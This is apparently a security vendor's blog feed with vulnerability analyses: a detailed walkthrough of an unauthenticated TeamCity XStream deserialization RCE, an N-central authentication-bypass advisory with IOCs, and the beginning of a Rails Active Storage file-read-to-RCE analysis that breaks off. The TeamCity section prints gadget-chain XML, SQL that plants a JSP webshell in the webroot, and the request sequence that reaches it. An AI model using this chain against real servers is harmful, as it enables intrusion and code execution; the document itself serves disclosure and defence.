Normal view

There are new articles available, click to refresh the page.
Before yesterdayRapid7 Cybersecurity Blog

Rapid7 Analysis: Unauthenticated Remote Code Execution in JetBrains TeamCity (CVE-2026-63077)

7 August 2026 at 10:32

Overview

On July 27, 2026, JetBrains published a security advisory for CVE-2026-63077, a critical unsafe deserialization vulnerability affecting JetBrains TeamCity. An attacker who can reach a TeamCity server over HTTP or HTTPS can exploit the agent polling protocol without credentials and execute operating system commands with the privileges of the TeamCity server process.

JetBrains reported no known active exploitation when it disclosed the vulnerability. However, on August 5, 2026, CISA added CVE-2026-63077 to its Known Exploited Vulnerabilities (KEV) catalog, confirming exploitation in the wild.

Our analysis finds that a vulnerable TeamCity server creates a permissive XStream allowlist. This allowlist is intended to restrict which Java classes can be deserialized when servicing unauthenticated agent requests. However, this allowlist incorrectly adds TeamCity protocol classes without removing XStream's existing default permissions. This introduces an unsafe deserialization issue. A patched TeamCity server remediates this by adding NoTypePermission.NONE before the TeamCity allowlist, which removes the default permissions and makes the allowlist exclusive.

Rapid7 Labs has verified that the patch successfully remediates the exploit described in this analysis. A proof-of-concept script for CVE-2026-63077 can be found here.

Analysis

Our analysis compares a vulnerable TeamCity version 2026.1.2 against a patched version 2026.1.3.

TeamCity uses a central server to coordinate builds and separate build agents to run them. An agent can communicate with the server through the agent polling protocol: it registers, asks the server for its next command, and reports whether that command succeeded or failed. The endpoints under /app/agents/v1 support this agent communication channel rather than the TeamCity web interface or REST API. A TeamCity-AgentSessionId HTTP header value identifies a polling connection, but it does not mean that either a user or agent has authenticated to TeamCity, as access to many agent endpoints remains unauthenticated.

XStream is a Java library that converts object graphs to XML and reconstructs those graphs from XML. An object graph can contain nested objects, collection entries, private fields, and references to an object that appeared earlier in the document. XStream aliases give Java types shorter XML names. For example, <linked-hash-map> is XStream's alias for java.util.LinkedHashMap. Nested element names and class attributes select other concrete Java types, while reference attributes point back to objects that XStream has already constructed. Converters and reflection-based code then allocate the selected types and populate their fields.

Patch diff

The class jetbrains.buildServer.messages.XStreamHolder is TeamCity's wrapper for creating and configuring XStream instances. TeamCity 2026.1.2 creates an instance of XStreamHolder, configures it, and then calls setupSecurityIfNeeded(). If the TeamCity allowlists contain entries, this method adds those entries to the permissions that XStream already installed:

// ./webapps/ROOT/WEB-INF/lib/messages.jar
package jetbrains.buildServer.messages;

public class XStreamHolder {

// ...

private void setupSecurityIfNeeded(XStreamWrapper xStream) {
  if (this.myAdditionalClassesWhiteList.isEmpty()
            && OUR_STATIC_CLASSES_WHITE_LIST.isEmpty()) {
    XStreamHolder.setupDefaultSecurityOldWay(xStream);
    return;
  }
    xStream.allowTypes(OUR_STATIC_CLASSES_WHITE_LIST.keySet()
        .toArray(new String[0]));                         // <--- [1]
    xStream.allowTypes(this.myAdditionalClassesWhiteList
        .toArray(new String[0]));                         // <--- [2]
}

The calls at [1] and [2] do not start from an empty permission set. The bundled XStream 1.4.20.3 constructor has already called setupSecurity(), which permits several broad type hierarchies, including Map and Throwable:

// ./webapps/ROOT/WEB-INF/lib/xstream.jar
package com.thoughtworks.xstream;

public class XStream {
// ...

protected void setupSecurity() {
  if (this.securityMapper == null)
    return; 
  addPermission(NoTypePermission.NONE);          // <--- Clears all existing permissions
  addPermission(NullPermission.NULL);
  addPermission(PrimitiveTypePermission.PRIMITIVES);
  addPermission(ArrayTypePermission.ARRAYS);
  addPermission(InterfaceTypePermission.INTERFACES);
  allowTypeHierarchy(Calendar.class);
  allowTypeHierarchy(Collection.class);
  allowTypeHierarchy(Map.class);                 // <--- Map is allowed
  allowTypeHierarchy(Map.Entry.class);
  allowTypeHierarchy(Member.class);
  allowTypeHierarchy(Number.class);
  allowTypeHierarchy(Throwable.class);           // <--- Throwable is allowed
  allowTypeHierarchy(TimeZone.class);
  // ...

Therefore, even though TeamCity has not explicitly allowed any types, several allowed types are already present on the permission list due to XStream's defaults. This is enough to lead to unsafe deserialization.

The patch from version 2026.1.3 can be seen in the diff below and shows how these default allowed types are now cleared by TeamCity:

+import com.thoughtworks.xstream.security.NoTypePermission;

+private static volatile boolean isWhiteListForced = true;

+public static void forceWhiteList(boolean force) {
+    isWhiteListForced = force;
+}

 private void setupSecurityIfNeeded(XStreamWrapper xStream) {
     if (this.myAdditionalClassesWhiteList.isEmpty()
             && OUR_STATIC_CLASSES_WHITE_LIST.isEmpty()) {
         XStreamHolder.setupDefaultSecurityOldWay(xStream);
         return;
     }
+    if (isWhiteListForced) {
+        xStream.addPermission(NoTypePermission.NONE);    // <--- [3] Clears all existing permissions
+    }
     xStream.allowTypes(OUR_STATIC_CLASSES_WHITE_LIST.keySet()
         .toArray(new String[0]));
     xStream.allowTypes(this.myAdditionalClassesWhiteList
         .toArray(new String[0]));
 }

The patched initializer turns the new behavior on before it populates the static allowlist:

 public static void initializeWhiteList() {
     String string = TeamCityProperties.getProperty(
         (String)"teamcity.xstream.additionalAllowedClassNames", (String)""
     );
     if ("*".equals(string)) {
         return;
     }
+    XStreamHolder.forceWhiteList((boolean)TeamCityProperties.getBooleanOrTrue(
+        (String)"teamcity.xstream.whiteList.forced"
+    ));                                                     // <--- [4]
     XStreamHolder.addClassesWhiteList((String[])CLASSES_WHITE_LIST);
     XStreamHolder.addClassesWhiteList((String[])string.split(","));
 }

XStream's SecurityMapper.addPermission() clears its permission list when it receives NoTypePermission.NONE. The allowTypes calls that follow [3] now operate on a deny-by-default baseline, i.e., Map and Throwable are no longer allowed types. The TeamCityProperties.getBooleanOrTrue() call at [4] means the new property defaults to true, so clearing the permission list at [3] will now occur by default on a patched server.

Root cause

The missing XStream class type permission reset is the root cause of CVE-2026-63077. TeamCity treats the configured classes as an allowlist, but XStream evaluates them alongside its earlier default permissions. In Java, a type hierarchy permission covers implementations and subclasses, not only the named type. Permitting Map therefore covers classes that implement Map such as LinkedHashMap, while permitting Throwable covers exception subclasses such as RuntimeException. These broad permissions expose enough object construction and reconstruction callbacks to assemble a working gadget chain.

The exploit also depends on how XStream's reflection converter handles declared fields and object references. Java reflection lets code inspect a class's field definitions at runtime and assign values to an object's fields. An explicitly represented class name or class attribute passes through SecurityMapper.realClass(). By contrast, an exact declared field already provides its Java type, allowing XStream to allocate that field without a second explicit type lookup. An XPath reference can then reuse the allocated object without another type check when the reference omits the redundant concrete class attribute. In this context, XPath is an address within the XML object graph, not a query against TeamCity data.

Applied here, this allows a deserialization payload that begins with TeamCity's HSQLMetadataStorage$SchemaMismatchException. This class extends RuntimeException, so XStream accepts it under the default Throwable hierarchy permission. Because it is a non-static inner class, it has a compiler-generated field pointing to its enclosing HSQLMetadataStorage instance. From there, the exact declared fields myHSQLStorage and myDataSource lead XStream to an org.apache.commons.dbcp2.BasicDataSource. XStream follows those field types without resolving BasicDataSource from an explicit element name or class attribute, even though TeamCity 2026.1.2 rejects that class when the XML names it directly. The patched version 2026.1.3 stops the chain earlier by rejecting SchemaMismatchException, which is absent from TeamCity's explicit protocol allowlist.

Triggering the vulnerability

First, the server accepts an agent registration request via an HTTP POST to the /app/agents/v1/register endpoint, and returns a new session identifier in the TeamCity-AgentSessionId response header.

The attacker then sends arbitrary XML to the error command endpoint with that server-issued session header via an HTTP POST to the /app/agents/v1/commands/error endpoint. The handler for this endpoint is the method handleCommands, shown below. This will validate the incoming request’s TeamCity-AgentSessionId header before calling the handler for the error command.

// ./webapps/ROOT/WEB-INF/lib/web-core.jar
package jetbrains.buildServer.controllers.agentServer;
private ModelAndView handleCommands(
          HttpServletRequest request,
          HttpServletResponse response,
          String[] path) throws Exception {
      String sessionId = request.getHeader("TeamCity-AgentSessionId");
      BuildAgentEx agent =
          sessionId != null ? findAgentBySessionId(sessionId) : null; // <--- validate agent session ID
      // This check occurs before the vulnerable handler is reached.
      if (agent == null) {
          response.setStatus(401);
          response.getWriter().write("Agent's session is not found");
          return null;
      }
      PollingRemoteAgentConnection connection =
          (PollingRemoteAgentConnection) agent.getConnection();
      if (path.length == 4) {
          String operation = path[3];
          if (operation.equals("error")) {
              getCommandsProcessor().handleCommandIsFailedRequest(
                  connection, request, response
              ); // <--- call the error handler
          }
      }
      return null;
  }

The method handleCommandIsFailedRequest will then proceed to unsafely deserialize the incoming request’s XML body.

// ./webapps/ROOT/WEB-INF/lib/web-core.jar
package jetbrains.buildServer.controllers.agentServer;

abstract class AbstractAgentCommandsRequestsProcessor implements AgentCommandsRequestsProcessor {
// ...

public void handleCommandIsFailedRequest(
        PollingRemoteAgentConnection connection,
        HttpServletRequest request,
        HttpServletResponse response) throws IOException {
    Error error = Error.fromXml(
        StreamUtil.readTextFrom(request.getReader())
    ); // <--- deserialize attacker's XML

    // ...
}

Error.fromXml() calls XStreamWrapper.deserializeObject(). By providing a suitable gadget chain in the incoming request’s XML body, we can achieve unauthenticated RCE via unsafe deserialization.

The gadget chain

The gadget chain's objective is to make TeamCity call BasicDataSource.getConnection() on an attacker-configured object. That getter starts the following path from deserialization to command execution:

  1. The payload reconstructs a BasicDataSource configured to use TeamCity's bundled HSQLDB driver.

  2. A collection callback causes FreeMarker to resolve the JavaBean property connection, which invokes BasicDataSource.getConnection().

  3. Apache DBCP opens a new in-memory HSQLDB database and executes the SQL in connectionInitSqls.

  4. The final SQL statement uses HSQLDB's SCRIPT command to write a malicious JSPWS file into TeamCity's webroot.

  5. The attacker makes an HTTP request to that JSP file, executing the script's contents server-side, for example Runtime.getRuntime().exec() can be used to execute an attacker-controlled OS command.

The first four steps occur while TeamCity handles the malicious XML request. The fifth requires a second HTTP request. The object graph exists to solve two problems in the first two steps: XStream rejects BasicDataSource when the XML names it directly, and merely constructing a datasource does not call its getConnection() method.

Object graph construction

The payload's XML root is a three-entry LinkedHashMap. Entry one constructs and configures the datasource without naming its concrete class in a new XML node. Entry two presents that datasource to FreeMarker as an object whose properties can be read by name. Entry three forces a lookup of the property named connection.

figure1.png

Figure 1: High-level gadget chain flow to BasicDataSource.getConnection().

The entries appear in this order in the XML because the later entries refer to objects created by the earlier ones. XStream reconstructs them in document order, and the LinkedHashMap retains their insertion order in the resulting Java object.

Entry one: construct and configure the datasource

The first entry begins with HSQLMetadataStorage$SchemaMismatchException. This class extends RuntimeException, so XStream accepts it under the default Throwable hierarchy permission. It is a non-static Java inner class, which means the compiler gives each instance a hidden this$0 field pointing to its enclosing HSQLMetadataStorage object. XStream serializes that compiler-generated reference as outer-class.

The enclosing HSQLMetadataStorage declares a field named myHSQLStorage with the exact type HSQLStorage. That class, in turn, declares myDataSource with the exact type BasicDataSource. Because the XML does not represent either field with a new element type or class attribute, XStream follows the declared Java field types without performing another explicit lookup for those classes:

<jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException>
  <outer-class>
    <myHSQLStorage>
      <myDataSource>
        <driverClassName>org.hsqldb.jdbc.JDBCDriver</driverClassName>
        <url>jdbc:hsqldb:mem:<random></url>
        <userName>SA</userName>
        <connectionInitSqls>
<!-- attacker-controlled HSQLDB statements -->
</connectionInitSqls>
      </myDataSource>
    </myHSQLStorage>
  </outer-class>
</jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException>

XStream encodes the dollar sign in a Java inner-class name as _- when it creates an XML element name. The element ending in HSQLMetadataStorage_-SchemaMismatchException therefore identifies the Java class HSQLMetadataStorage$SchemaMismatchException.

Entry two: expose the datasource through FreeMarker

The first entry leaves a configured datasource in memory, but nothing has called it. The second entry makes its JavaBean properties available through a FreeMarker HashAdapter. HashAdapter extends AbstractMap, so XStream accepts the explicit class under its default Map hierarchy permission.

The adapter needs a FreeMarker model that can read properties from the datasource. The payload creates a BooleanModel through the exact BeansWrapper.falseModel field, then populates the model's inherited BeanModel.object field with a reference to the BasicDataSource in entry one instead of a Boolean value. Finally, HashAdapter.model refers to that BooleanModel:

<freemarker.ext.beans.HashAdapter>
  <wrapper>
    <!-- Class-introspection state from the PoC is omitted here. -->
    <falseModel>
      <object reference="../../../../../entry/jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException/outer-class/myHSQLStorage/myDataSource"/>
      <wrapper reference="../.."/>
      <value>false</value>
    </falseModel>
    <!-- Remaining BeansWrapper state from the PoC is omitted here. -->
  </wrapper>
  <model reference="../wrapper/falseModel"/>
</freemarker.ext.beans.HashAdapter>

The reference attributes preserve object identity rather than create copies. BooleanModel.object points to the existing datasource, HashAdapter.model points to the existing BooleanModel, and BooleanModel.wrapper points back to the same BeansWrapper. No reference introduces a new concrete class node. In particular, <object> does not repeat the BasicDataSource type, so XStream does not perform a new explicit lookup for that denied class. The shared BeansWrapper supplies the class introspection used later to resolve the connection property.

Entry three: trigger the property lookup

The graph can now resolve datasource properties, but it still needs an automatic callback to request one. The third entry uses a HashSet, accepted under XStream's default Collection hierarchy permission, and a Commons Collections TiedMapEntry, accepted under the default Map.Entry hierarchy permission. A TiedMapEntry ties a key to a backing map. Here, its map field refers to the HashAdapter from entry two, and its key is the string connection:

<set>
  <org.apache.commons.collections.keyvalue.TiedMapEntry>
    <map class="freemarker.ext.beans.HashAdapter"
         reference="../../../../entry[2]/freemarker.ext.beans.HashAdapter"/>
<key class="string">connection</key>
  </org.apache.commons.collections.keyvalue.TiedMapEntry>
</set>

The reference value is relative to the nested <map> element. Four ../ steps return to the LinkedHashMap root, and XPath's one-based entry[2] index selects the second entry. Reusing that adapter preserves its connection to the BooleanModel and, through the model, to the datasource from entry one.

Object construction now ends with one continuous route: TiedMapEntry to HashAdapter, HashAdapter to BooleanModel, and BooleanModel to BasicDataSource. At this point, no database connection has opened yet. The gadget chain triggers when XStream inserts the TiedMapEntry into the HashSet.

Triggering gadget execution

A HashSet stores elements by hash. When XStream inserts the reconstructed TiedMapEntry, HashSet.add() automatically calls TiedMapEntry.hashCode(). That method calls getValue(), which performs map.get(key) against the referenced HashAdapter with connection as the key. It is worth noting that this is a mechanism very similar to that used by the classic CommonsCollections6 ysoserial gadget. However, the existing CommonsCollections6 gadget cannot be used because TeamCity’s XStream permissions reject the ChainedTransformer and InvokerTransformer classes used by CommonsCollections6.

The resulting call to HashAdapter.get("connection") passes the property name connection to the referenced BooleanModel. BooleanModel inherits FreeMarker's BeanModel property lookup. JavaBeans use a naming convention in which a property named connection can be read through a public getConnection() method, so FreeMarker invokes BasicDataSource.getConnection().

A Java DataSource is a factory for Java Database Connectivity (JDBC) connections. BasicDataSource is the Apache Commons Database Connection Pooling (DBCP) implementation bundled with TeamCity. The payload configures it to load TeamCity's bundled HyperSQL Database (HSQLDB) driver and connect to a new in-memory database at a randomized jdbc:hsqldb:mem: URL. This database is separate from TeamCity's application database and requires no TeamCity database credentials. DBCP then runs the attacker-controlled connectionInitSqls, a list of SQL statements intended to initialize each new connection.

The initialization SQL creates a table containing a JSP scriptlet and asks HSQLDB to serialize the database to an attacker-selected path:

CREATE TABLE IF NOT EXISTS T<RANDOM>(C<RANDOM> VARCHAR(4000))
INSERT INTO T<RANDOM> VALUES ('<% ... Runtime.getRuntime().exec(command) ... %>')
SCRIPT '../webapps/ROOT/<random-hex>.jspws'

HSQLDB's SCRIPT statement writes a textual representation of the in-memory database to the supplied path. The payload places a JavaServer Pages (JSP) scriptlet inside a table row, so the resulting SQL script is also a valid JSP template (i.e. a polyglot). This mechanism is similar to the one used by Secfault Security as part of a LibreOffice exploit.

Executing a JSP payload

Apache Jasper is the JSP engine in TeamCity's servlet container. It compiles JSP source code into Java servlet code that handles an HTTP request, then runs that code inside the TeamCity server's Java process. Whether a path reaches Jasper depends on the servlet mappings in WEB-INF/web.xml. TeamCity defines realJspServlet as Jasper's org.apache.jasper.servlet.JspServlet, then maps the custom *.jspws extension directly to it. By contrast, TeamCity sends ordinary *.jsp requests to its buildServer dispatcher:

<servlet>
  <servlet-name>realJspServlet</servlet-name>
  <servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class>
</servlet>

<servlet-mapping>
  <servlet-name>realJspServlet</servlet-name>
  <url-pattern>*.jspws</url-pattern>
</servlet-mapping>

<servlet-mapping>
  <servlet-name>buildServer</servlet-name>
  <url-pattern>*.jsp</url-pattern>
</servlet-mapping>

The buildServer servlet does not dispatch every direct .jsp request to Jasper. The corresponding JspController.doHandle() method first requires an internal TeamCity request, an authenticated TeamCity user, or an explicit configuration property that permits direct JSP requests. If these are not present, it returns HTTP 403 before the JSP runs:

// web-core.jar!jetbrains.spring.web.JspController

public class JspController extends BaseController implements CustomUrlHandler {
    protected ModelAndView doHandle(@NotNull HttpServletRequest httpServletRequest, @NotNull HttpServletResponse httpServletResponse) throws IOException, ServletException {
// ...
if (!RequestStackCalculationInterceptor.isInnerRequest(request)
        && SessionUser.getUser(request) == null
        && !TeamCityProperties.getBoolean(
            "teamcity.jsp.directRequests.allowed"
        )) {
    response.setStatus(403);
    response.getWriter().write("Access denied");
    return null;
}

We therefore target .jspws, as this allows a direct anonymous request to reach Jasper, compile the newly written file and execute it. This allows us to execute arbitrary Java such as Runtime.getRuntime().exec() which in turn can deliver the payload.

Exploitation

A proof-of-concept script for CVE-2026-63077 can be found here. Organizations can use this script to validate their detection and remediation posture. The exploit script will leverage the gadget chain described in this analysis to write a malicious JSPWS file in order to execute an arbitrary command, before deleting the JSPWS file from disk. An example of its operation is shown below in Figure 2.

poc2.png

Figure 2: Proof-of-concept exploitation.

The vendor-supplied patch, version 2026.1.3, has been verified to successfully prevent the unsafe deserialization of the gadget chain presented in this analysis. The teamcity-server.log file on a patched system shows the new XStream NoTypePermission.NONE added by the patch to effectively prevent the gadget chain's first entry, HSQLMetadataStorage$SchemaMismatchException, from having its type successfully resolved.

[2026-08-07 01:53:09,794]  ERROR -   jetbrains.buildServer.SERVER - Error com.thoughtworks.xstream.security.ForbiddenClassException: jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage$SchemaMismatchException; while processing request: POST '/app/agents/v1/commands/error', from client 192.168.86.70:58356, user-agent "Python-urllib/3.10", no auth

com.thoughtworks.xstream.security.ForbiddenClassException: jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage$SchemaMismatchException
	at com.thoughtworks.xstream.security.NoTypePermission.allows(NoTypePermission.java:26)
	at com.thoughtworks.xstream.mapper.SecurityMapper.realClass(SecurityMapper.java:74)
	at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:125)
	at com.thoughtworks.xstream.mapper.CachingMapper.realClass(CachingMapper.java:47)
	...

IOC

On an exploited system, the TeamCity server logs will contain detailed exception traces due to the deserialization gadget causing a Java exception to be thrown. For example, in the log file C:\TeamCity\logs\teamcity-server.log the following may be present. This identifies the vulnerable URI path, the attacker's IP address, and an exception that correlates to the gadget chain being used for exploitation. Note: the full stack trace has been removed for brevity:

[2026-08-07 00:36:36,467]  ERROR -   jetbrains.buildServer.SERVER - Error com.thoughtworks.xstream.converters.ConversionException: 
---- Debugging information ----
cause-exception     : freemarker.template.utility.UndeclaredThrowableException
cause-message       : freemarker.core._TemplateModelException: An error has occurred when reading existing sub-variable "connection"; see cause exception! The type of the containing value was: boolean+extended_hash (org.apache.commons.dbcp2.BasicDataSource wrapped into f.e.b.BooleanModel)
class               : java.util.HashSet
required-type       : java.util.HashSet
converter-type      : com.thoughtworks.xstream.converters.collections.CollectionConverter
path                : /linked-hash-map/entry[3]/set/org.apache.commons.collections.keyvalue.TiedMapEntry
line number         : 104
class[1]            : java.util.LinkedHashMap
required-type[1]    : java.util.LinkedHashMap
converter-type[1]   : com.thoughtworks.xstream.converters.collections.MapConverter
version             : 2026.1-222647
-------------------------------; while processing request: POST '/app/agents/v1/commands/error', from client 192.168.86.70:52728, user-agent "Python-urllib/3.10", no auth

com.thoughtworks.xstream.converters.ConversionException: 
---- Debugging information ----
cause-exception     : freemarker.template.utility.UndeclaredThrowableException
cause-message       : freemarker.core._TemplateModelException: An error has occurred when reading existing sub-variable "connection"; see cause exception! The type of the containing value was: boolean+extended_hash (org.apache.commons.dbcp2.BasicDataSource wrapped into f.e.b.BooleanModel)
class               : java.util.HashSet
required-type       : java.util.HashSet
converter-type      : com.thoughtworks.xstream.converters.collections.CollectionConverter
path                : /linked-hash-map/entry[3]/set/org.apache.commons.collections.keyvalue.TiedMapEntry
line number         : 104
class[1]            : java.util.LinkedHashMap
required-type[1]    : java.util.LinkedHashMap
converter-type[1]   : com.thoughtworks.xstream.converters.collections.MapConverter
version             : 2026.1-222647
-------------------------------
	at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:81)
	at com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert(AbstractReferenceUnmarshaller.java:72)
	...

A similar exception in a javaLogging file (for example, C:\TeamCity\logs\teamcity-javaLogging-2026-08-07.log) will also show the gadget chain’s JSPWS payload as part of an org.hsqldb.HsqlException message:

07-Aug-2026 00:36:36.462 SEVERE [http-nio-8111-exec-4] org.apache.catalina.core.StandardWrapperValve.invoke Servlet.service() for servlet [buildServer] in context with path [] threw exception [Request processing failed; nested exception is com.thoughtworks.xstream.converters.ConversionException: 
---- Debugging information ----
cause-exception     : freemarker.template.utility.UndeclaredThrowableException
cause-message       : freemarker.core._TemplateModelException: An error has occurred when reading existing sub-variable "connection"; see cause exception! The type of the containing value was: boolean+extended_hash (org.apache.commons.dbcp2.BasicDataSource wrapped into f.e.b.BooleanModel)
class               : java.util.HashSet
required-type       : java.util.HashSet
converter-type      : com.thoughtworks.xstream.converters.collections.CollectionConverter
path                : /linked-hash-map/entry[3]/set/org.apache.commons.collections.keyvalue.TiedMapEntry
line number         : 104
class[1]            : java.util.LinkedHashMap
required-type[1]    : java.util.LinkedHashMap
converter-type[1]   : com.thoughtworks.xstream.converters.collections.MapConverter
version             : 2026.1-222647
-------------------------------] with root cause
	org.hsqldb.HsqlException: file input/output error: ../webapps/ROOT/682aed03b49b.jspws already exists
		at org.hsqldb.error.Error.error(Unknown Source)
	...

Remediation

For remediation guidance, please see Rapid7’s Emergent Threat Response blog for CVE-2026-63077, which contains further details.

CVE-2026-18577: N-able N-central Authentication Bypass Exploited in the Wild

By: Rapid7
4 August 2026 at 07:11

Overview

On August 2, 2026, N-able published a security advisory for CVE-2026-18577, an authentication bypass vulnerability affecting N-central that was discovered being exploited in-the-wild after an incomplete fix for an earlier authentication bypass issue, CVE-2026-18556 was disclosed. CVE-2026-18577 allows a remote unauthenticated attacker to bypass authentication and obtain administrative control of vulnerable N-central servers in affected deployments.

N-able N-central is a widely deployed Remote Monitoring and Management (RMM) platform used by managed service providers (MSPs) and enterprise IT teams to centrally administer servers, workstations, network devices, and other managed assets. Because the platform operates with extensive administrative privileges across customer environments, successful compromise of an N-central server can provide attackers with an efficient path to compromise downstream managed systems.

According to N-able, exploitation of CVE-2026-18577 has been observed in the wild since August 1, 2026. Following successful exploitation, attackers leveraged the platform's Take Control functionality to remotely access managed endpoints, and deployed Cloudflare Tunnel (cloudflared) to establish persistent remote access. On August 3, 2026, CVE-2026-18577 was added to CISA’s Known Exploited Vulnerability (KEV) catalog and on August 5, 2026, CVE-2026-18556 was also added to the catalog.

Mitigation guidance

Organizations operating vulnerable N-central deployments should prioritize remediation on an urgent basis, outside of normal patching schedules. Hosted N-central environments are upgraded automatically by the vendor, while on-premise deployments require manual remediation.

Affected versions:

  • All versions of N-able N-central up to and including version 2026.3.1, prior to Hotfix 1.

Fixed version:

  • N-able N-central 2026.3.1 Hotfix 1 (2026.3.1.7).

The vendor also recommends:

  • Upgrading N-central agents after applying the server hotfix.

  • Reviewing systems for indicators of compromise.

  • Contacting N-able Support immediately if evidence of compromise is discovered.

  • Engaging internal incident response teams if malicious activity is identified.

For further information, see the vendor advisory.

IOCs

N-able has published several artifacts that administrators should investigate during incident response.

Endpoint Artifacts:

  • Presence of a Cloudflared service.

  • A suspicious svchost.exe located within the user's Documents folder.

Network Indicators:

  • Administrators should review historical network logs for inbound or outbound communication involving the malicious IP addresses identified by the vendor:

    • 173[.]249[.]252[.]200

    • 87[.]249[.]138[.]34

    • 37[.]19[.]210[.]32

    • 37[.]153[.]90[.]88

    • 92[.]118[.]112[.]181

    • 68[.]235[.]46[.]214 

Organizations should also review:

  • Authentication logs

  • Administrative account creation or modification

  • Take Control session activity

  • Remote management logs

  • Windows service installation events

To assist affected organizations running N-central, the vendor has provided a detection template for CVE-2026-18577, which organizations can use to help identify potential compromise.

Rapid7 customers

Exposure Command, InsightVM, and Nexpose

Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-18577 and CVE-2026-18556 with vulnerability checks available in the August 4 content release. Note that potential check type must be enabled in the scan template before scanning.

Updates

  • August 4, 2026: Initial publication.

  • August 4, 2026: Updated Rapid7 customers section to reflect the availability of vulnerability checks.
  • August 7, 2026: Updated the Overview and Rapid7 Customers sections to indicate addition of CVE-2026-18556 to CISA KEV and availability of vulnerability checks.

Rapid7 Analysis: KindaRails2Shell (CVE-2026-66066)

3 August 2026 at 13:11

Overview

On July 29, 2026, the Ruby on Rails project published a security advisory for CVE-2026-66066, an arbitrary file read in Active Storage applications that use the Vips image processor with untrusted uploads. The affected Active Storage ranges are < 7.2.3.2, >= 8.0, < 8.0.5.1, and >= 8.1, < 8.1.3.1. Vips is the default Active Storage variant processor for applications that load Rails 7.0 or later defaults. Rails 6 applications are affected only when they explicitly configure Vips.

Our Emergent Threat Response blog covers the affected versions, mitigation guidance, and current exploitation status. This post traces the request from the direct-upload endpoint to the HDF5 read, then shows how the arbitrary file read can expose Rails signing material and become code execution. A vulnerable application can disclose arbitrary files before the attacker has recovered a Rails secret or forged a token. A genuine Active Storage variation_key from the same application, paired with a direct-upload blob whose stored content_type claims to be an image, is enough to reach a libvips loader that turns a crafted MAT/HDF5 file into an arbitrary file-read oracle.

We reproduced the published chain against Rails 6.0.6.1, 6.1.7.10, 7.2.3.1, 8.0.5, and 8.1.3, and confirmed that patched 7.2.3.2, 8.0.5.1, and 8.1.3.1 targets block the crafted representation. We also validated a remote code execution (RCE) path that uses only JSON-compatible Hash, Array, and String values in a signed variation. That path reaches Kernel#spawn or Kernel#eval through ImageProcessing's chain builder, and it worked when Rails was configured with config.active_support.message_serializer = :json.

The advisory covers the vulnerable Active Storage configuration. The MAT/HDF5 representation chain shown here has narrower requirements. The deployed libvips build must expose matload with MAT 7.3/HDF5 support, the application must preserve an attacker-supplied content_type, and the attacker must be able to trigger a representation, for example with a genuine variation key. Those requirements narrow where this particular chain works, but the underlying issue is that Active Storage handed untrusted uploads to libvips operations that libvips already marked unsafe for untrusted content.

The attack can be summarized as follows:

[Attacker]
   |
   | 1. Creates a direct-upload blob with content_type = image/png
   v
[Rails stores the blob as an image without examining the bytes]
   |
   | 2. Reuses a genuine variation_key from the same application
   v
[Rails accepts the blob as variable and starts a representation]
   |
   | 3. image_processing hands the local tempfile path to libvips
   v
[libvips matload]
   |
   | 4. Bytes 0-9 match "MATLAB 5.0"
   v
[libmatio]
   |
   | 5. Bytes 124-125 contain MAT_FT_MAT73 (0x0200)
   v
[HDF5 external storage]
   |
   | 6. Dataset bytes come from attacker-chosen path + offset
   v
[Rendered PNG representation]
   |
   --> Target file bytes are returned as image pixels

Analysis

The published chain contains two separate trust failures. Rails decides that a blob is an image from a database value, while libvips decides what parser to use from the bytes on disk. Once the file reaches matload, libvips and libmatio disagree again about the same MAT header. libvips only looks at the first ten bytes, while libmatio selects the MAT version from bytes 124 and 125.

Direct upload stores an attacker-controlled type

The standard direct-upload endpoint creates the blob record before the service receives the file. In Rails 8.0.5, ActiveStorage::DirectUploadsController#create accepts content_type directly from the request and passes it into create_before_direct_upload!:

class ActiveStorage::DirectUploadsController < ActiveStorage::BaseController
  def create
    blob = ActiveStorage::Blob.create_before_direct_upload!(**blob_args) # <-- [1]
    render json: direct_upload_json(blob)
  end

  private
    def blob_args
      params.expect(blob: [:filename, :byte_size, :checksum, :content_type, metadata: {}]).to_h.symbolize_keys # <-- [2]
    end
    def create_before_direct_upload!(key: nil, filename:, byte_size:, checksum:, content_type: nil, metadata: nil, service_name: nil, record: nil)
      metadata = filter_metadata(metadata)
      create! key: key, filename: filename, byte_size: byte_size, checksum: checksum, content_type: content_type, metadata: metadata, service_name: service_name # <-- [3]
    end

At [1] and [2], the endpoint accepts content_type from the client. At [3], Active Storage writes that value directly to the blob record. The direct-upload path never runs the server-side unfurl flow that would identify the bytes with Marcel. When we uploaded the same crafted file through a normal multipart attachment in the lab, Rails re-identified it as MATLAB data before variant processing, so it did not pass the image gate.

Once the direct-upload blob exists, Blob#variable? uses only the stored database value to decide whether the blob can be transformed. On the representation path, no built-in previewer accepts image/png, so the blob falls through to variant:

  def variant(transformations)
    if variable?
      variant_class.new(self, ActiveStorage::Variation.wrap(transformations).default_to(default_variant_transformations))
    else
      raise ActiveStorage::InvariableError, "Can't transform blob with ID=#{id} and content_type=#{content_type}"
    end
  end

  # Returns true if the variant processor can transform the blob (its content
  # type is in +ActiveStorage.variable_content_types+).
  def variable?
    ActiveStorage.variable_content_types.include?(content_type) # <-- [4]
  end

At [4], Rails performs a set-membership check against the stored content_type. No file bytes are examined. A crafted MAT/HDF5 object stored as image/png reaches the image variant pipeline.

A genuine variation key can be replayed against another blob

The standard representation route accepts a signed blob ID and a signed variation key as separate parameters. Rails resolves them independently:

module ActiveStorage::SetBlob # :nodoc:
  extend ActiveSupport::Concern

  included do
    before_action :set_blob
  end

  private
    def set_blob
      @blob = blob_scope.find_signed!(params[:signed_blob_id] || params[:signed_id]) # <-- [5]
    rescue ActiveSupport::MessageVerifier::InvalidSignature
      head :not_found
    end

    def blob_scope
      ActiveStorage::Blob
    end
end
class ActiveStorage::Representations::BaseController < ActiveStorage::BaseController # :nodoc:
  include ActiveStorage::SetBlob

  before_action :set_representation

  private
    def blob_scope
